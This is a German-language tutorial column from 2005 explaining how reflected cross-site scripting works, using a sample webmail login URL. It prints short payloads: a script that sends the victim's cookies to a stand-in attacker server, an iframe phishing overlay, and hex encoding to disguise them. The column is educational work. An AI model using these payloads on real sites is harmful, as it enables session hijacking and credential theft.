Sonntag, 12. Februar 2012

News

präsentiert von: entwickler.com
Donnerstag, 14. Juli 2005

About Security #14: Cross-Site Scripting

Cross-Site Scripting, abgekürzt CSS oder XSS, ist ein weiterer weit verbreiteter Angriff auf Webanwendungen. Damit wird das Einschleusen von HTML- und JavaScript-Code in eine Webseite bezeichnet. Derartige Angriffe sind eine häufig unterschätzte Gefahr.

N E U ! Security aktuell
Täglich aktuelle Security-Infos!

Voraussetzungen

Für einen Cross-Site-Scripting-Angriff benötigt der Angreifer eine Webanwendung, die Eingaben nicht ausreichend prüft, bevor sie sie als Bestandteil einer dynamischen Webseite an den Benutzer zurückgibt. Dabei ist der einfachste Fall die Fehlermeldung für eine nicht gefundene Datei mit dem Code 404. Wird dabei der Name der nicht gefundenen Datei ausgegeben, erscheint eine Meldung nach dem Muster 404 - Datei [Dateiname] nicht gefunden. Wird der Dateiname nicht ausreichend geprüft, kann ein Angreifer darüber seinen Cross-Site-Scripting-Code einschleusen.

Als Beispiel soll eine Webmail-Anwendung dienen:

http://www.mailprovider.example/webmail/login.php?user=[User-ID]

Die Eingaben in den Parameter 'user' sollen nicht ausreichend geprüft werden, bevor sie auf der Login-Seite angezeigt werden. Der Angreifer stellt nun einen Link nach seinen Vorstellungen zusammen:

http://www.mailprovider.example/webmail/login.php?user=[CSS-Code]
About Security: Die komplette Serie

Dann veranlasst er einen Benutzer, diesen Link anzuklicken. Dazu kann er ihm den Link z.B. per E-Mail zuschicken. Die Daten werden nach dem Anklicken an die Webanwendung geschickt. Diese bettet die Eingabe in eine dynamisch erzeugte Webseite ein und sendet diese an den Benutzer. Der eingeschleuste Code wird im Webbrowser des Benutzers im Kontext der betroffenen Website ausgeführt. Und genau darin besteht die Gefahr: Schutzfunktionen des Webbrowsers, die aufgrund der Herkunft des JavaScript-Codes über dessen Ausführung und Rechte entscheiden, werden so umgangen. Da der JavaScript-Code anscheinend von einer vertrauenswürdigen Website stammt, wird er nicht als schädlich bzw. unerwünscht erkannt, sondern ausgeführt.

Was kann passieren?

Ein sehr einfaches Beispiel, das oft zur Demonstration verwendet wird, ist JavaScript-Code zum Öffnen einer Alertbox:

<script>alert('Cross-Site-Scripting!')</script>

Das ist vollkommen harmlos. Ein Angreifer könnte den Benutzer mit einer ganzen Folge solcher Alertboxen ärgern, aber Schaden anrichten kann er so nicht. Es geht aber weiter: Wie schon erwähnt, wird der eingeschleuste Code im Kontext der betroffenen Seite ausgeführt. Der Angreifer hat also Zugriff auf die von dieser Website gespeicherten Cookies:

<script>alert(document.cookie);</script>

Der Angreifer kann dem Benutzer so Cookies zeigen. Das ist eigentlich auch kein Grund zur Aufregung, denn die kann sich der Benutzer auch von seinem Webbrowser anzeigen lassen. Aber wieso sollte der Angreifer den Cookie überhaupt anzeigen? Er kann ihn sich ja auch an seinen eigenen Server schicken lassen:

<script>document.location='http://www.boeser-server.example/cgi-bin/
cookieklau.cgi?'%20+document.cookie</script>

So kann sich der Angreifer Cookies seiner Opfer beschaffen. Und das ist in der Tat gefährlich, da in Cookies z.B. Authentifizierungsdaten oder Session-Informationen gespeichert werden. Beschafft sich ein Angreifer einen Session-Cookie eines Webmail-Benutzers, hat er danach Zugriff auf dessen Mailkonto, sofern es keine weiteren Schutzmaßnahmen gibt.

Es geht aber noch weiter: Wird Code für einen IFRAME-Tag mit Höhe und Breite von 100 Prozent eingeschleust, kann der Angreifer seine eigenen Inhalte unter der vertrauenswürdigen Adresse anzeigen:

<iframe SRC="http://www.boeser-server.example/datenklau.html" height ="100%" width="100%"></iframe>

Als URL für die Beispiel-Webmailanwendung ergibt das dann

http://www.mailprovider.example/webmail/login.php?user=
<iframe SRC="http://www.boeser-server.example/datenklau.html"
height ="100%" width="100%"></iframe>

Ideal für Phishing-Angriffe: Das Opfer sieht in der Adresszeile die Adresse einer vertrauenswürdigen Webseite, gibt seine Daten aber tatsächlich in ein Formular vom Server des Angreifers ein. Da diese Form des URL ziemlich auffällig ist, kann der Angreifer seinen einzuschleusenden Code auch tarnen, indem er ihn als Hexadezimal-Werte schreibt. Aus

<iframe SRC=

wird dann

%3c%69%66%72%61%6d%65%20%53%52%43%3d

usw.:

http://www.mailprovider.example/webmail/login.php?user=
%3c%69%66%72%61%6d%65%20%53%52%43%3d...

Der URL ist zwar immer noch auffällig lang, aber der Benutzer kann keinen verdächtigen Text mehr erkennen. Außerdem sind lange URLs nicht ungewöhnlich, nur im direkten Vergleich zur Original-URL fällt der manipulierte Parameter auf.

Nachdem Sie nun wissen, was Cross-Site Scripting ist und was ein Angreifer damit erreichen kann, geht es in der nächsten Folge um die Frage, wie der Angreifer seinen Code einschleusen kann und wie die Entwickler von Webanwendungen dessen Ausführung verhindern können.

Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security – Übersicht zum aktuellen Thema "Sichere Webanwendungen"

Konferenzen

BASTA! 2012

BASTA! 2012

27.- 2. März 2012
Maritim Hotel Darmstadt

MobileTech Conference

MobileTech Conference

26.-28. März 2012
München

JAX 2012

JAX 2012

16.-20. April 2012
Rheingoldhalle, Mainz

BigData Con 2012

BigData Con 2012

16.-18. April 2012
Rheingoldhalle, Mainz

Business Technology Days

Business Technology Days

17.-19. April 2012
Rheingoldhalle, Mainz

International PHP Conference

International PHP Conference

3.- 6. Juni 2012
Maritim proArte, Berlin

webinale 2012

webinale 2012

4.- 6. Juni 2012
Maritim proArte Berlin

RailswayCon

RailswayCon

4.- 6. Juni 2012
Maritim proArte, Berlin

Werbung
Top-Jobs

Fraunhofer-Institut für Windenergie und Energiesystemtechnik IWES

Informatikerin / Informatiker

Magazine

Entwickler Magazin - Enterprise Technologies & Business Solutions

Entwickler Magazin

Enterprise Technologies & Business Solutions

dot.net magazin - die unabhängige Quelle für .NET-Technologien

dot.net magazin

Die Quelle für .NET-Technologien

Eclipse Magazin

Eclipse Magazin

Weltweit erstes Magazin für Eclipse-Entwickler

Java Magazin - Internet & Enterprise Technology

Java Magazin

Internet & Enterprise Technology

Sharepoint

Sharepoint Magazin

Sharepoint

CREATE OR DIE - Ein Leben für die Kreativität

CREATE OR DIE

Ein Leben für die Kreativität

Business Technology - Management Magazin

Business Technology

Management Magazin

PHP Magazin - Professional PHP Development

PHP Magazin

Professional PHP Development

PHP User - Praktische Referenz für Internetenthusiasten

PHP User

Praktische Referenz für Internetenthusiasten

Bücher




Webhosting mit Host Europe